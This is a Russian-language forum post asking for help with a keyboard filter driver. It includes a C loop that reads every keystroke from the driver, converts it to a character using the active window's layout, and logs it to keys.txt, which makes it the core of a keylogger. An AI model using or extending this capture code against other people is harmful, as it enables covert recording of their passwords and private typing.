Всем привет. Сделал фильтр для \Device\KeyboardClass0 и вытаскиваю в юзермод сканкоды нажатых клавиш. В юзермоде хочу получить символы клавиш по сканкоду для приложений в зависимости от раскрадки клавиатуры. Делаю так: Код (Text): while(1) { ZeroMemory(&KeyData, sizeof(KEY_DATA)); if( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) ) { do { hCurrentWin = GetForegroundWindow(); dwThreadIdWin = GetWindowThreadProcessId(hCurrentWin, &dwProcIdWin); hKeyLayout = GetKeyboardLayout(dwThreadIdWin); usVirtualKey = MapVirtualKeyEx(KeyData.usScanCode, 1, hKeyLayout); GetKeyboardState(btKeyboardState); ToAsciiEx(usVirtualKey, KeyData.usScanCode, btKeyboardState, &BufChar, 0, hKeyLayout); CHAR chKey[32]={0}; CHAR chBuffer[128] = {0}; CopyMemory(chKey, &BufChar, sizeof(CHAR)); _snprintf(chBuffer, 127, "SCANCODE: %d VIRTUALCODE: %d KEY: \"%s\"", KeyData.usScanCode, usVirtualKey, chKey); WriteDataToFile("keys.txt", chBuffer, strlen(chBuffer)); //printf("SCANCODE: %d KEY: \"%s\"\n", KeyData.usScanCode, chKey); } while( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) ); } Sleep(10); } Для всех графических приложений все ок и в зависимости от раскладки RU/ENG получаю русские или англ. символы. А вот для cmd.exe постоянно получаю русские (в моем случае) символы и при RU и при ENG. Не подскажите можно ли это поправить? Заранее спасибо!